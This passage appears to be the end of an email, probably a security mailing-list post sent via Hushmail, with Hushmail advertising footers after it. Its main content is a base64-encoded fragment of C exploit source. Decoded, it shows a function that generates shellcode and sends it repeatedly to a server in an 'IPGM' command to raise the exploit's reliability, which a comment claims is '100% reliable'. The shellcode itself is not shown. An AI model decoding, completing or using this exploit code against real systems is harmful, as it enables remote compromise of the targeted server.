IHRoZSByaWdodAovLyBwbGFjZSBhdCB0aGUgcmlnaHQgdGltZS4gVGhpcyBmdW5jdGlvbiBtYWtl
cyBvbmUgaGVsbHV2YSBkaWZmZXJlbmNlCi8vIHRvIHRoZSBleHBsb2l0cyByZWxpYWJpbGl0eSAo
MTAwJSByZWxpYWJsZSB0byBkYXRlKS4Kdm9pZCBpbmNyZWFzZV9jaGFuY2VzKGludCBzLCBpbnQg
bSkgewoJY2hhciBidWZbU0laXTsKCWludCBpOwoKCW1ha2Vfc2hlbGxjb2RlKGJ1Zik7Cglmb3Io
aT0wO2k8Q0hBTkNFX0NPVU5URVI7aSsrKSB7CgkJbXlfc2VuZChzLCAiSVBHTSAlZCAlc1xuIiwg
bSwgYnVmKTsKCQlteV9yZWN2KHMpOwoJfQp9Cg==
--Hush_boundary-3f13c0f7a93cb--
Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2
Free, ultra-private instant messaging with Hush Messenger
https://www.hushmail.com/services.php?subloc=messenger&l=434
Promote security and make money with the Hushmail Affiliate Program:
https://www.hushmail.com/about.php?subloc=affiliate&l=427